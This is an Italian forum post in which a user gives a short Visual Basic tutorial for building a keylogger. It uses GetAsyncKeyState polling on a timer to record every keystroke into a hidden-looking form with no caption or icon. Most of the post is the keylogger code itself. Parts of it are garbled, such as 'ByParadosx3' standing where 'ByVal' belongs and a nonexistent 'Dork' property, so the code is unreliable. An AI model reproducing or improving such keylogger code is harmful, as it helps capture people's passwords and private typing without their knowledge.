-
Paradosx3.
User deleted
Ciao a tutti!
In questa guida spiegherò come creare un keylogger...
Apriamo vb. creiamo un progetto e lo modifichiamo con i bordi fixed single, lasciare vuota la caption e togliere l'icona con show icon "False"
Fattò ciò inseriamo nel form una Textbox(per ingrandire la textbox cercare nelle proprietà la voce "Dork" e ingrandire la parte centrale), inserite anche la proprietà multiline, una Scrollbars "Vertical" e un timer con intervall "10"
Fin qui tutto semplice..
Adesso passiamo ai codici... all'inizio della pagina dei codici di Visual Basic vi è scritto "Public Class Form1" al di sotto inserire questo codice..CODICEdim result as integer
Dopo aver scritto il codice premere invio e dovrebbe uscire una spaziatura... e inserire quest'altro codice..CODICEPrivate Declare Function GetAsyncKeyState Lib "user32" (ByParadosx3 vKey as long) as integer
Alla fine inserire nel Timer questo codice:CODICEfor i = 1 to 255
result = 0
result = getAsyncKeyState(i)
if result = -32767 then
textbox1.text = textbox1.text + chr(i)
end if
next i
e nel form questo codiceCODICEtimer1.start()
Finito
Adesso basta premere il tasto play e ve lo collaudate
potete provare con il blocco note .. se scrivete noterete che il keylogger riporterà le stesse parole.
Fonte: Paradosx3
Si prega di citare sempre l'autore e il forum di appartenenza
Alla prossima !.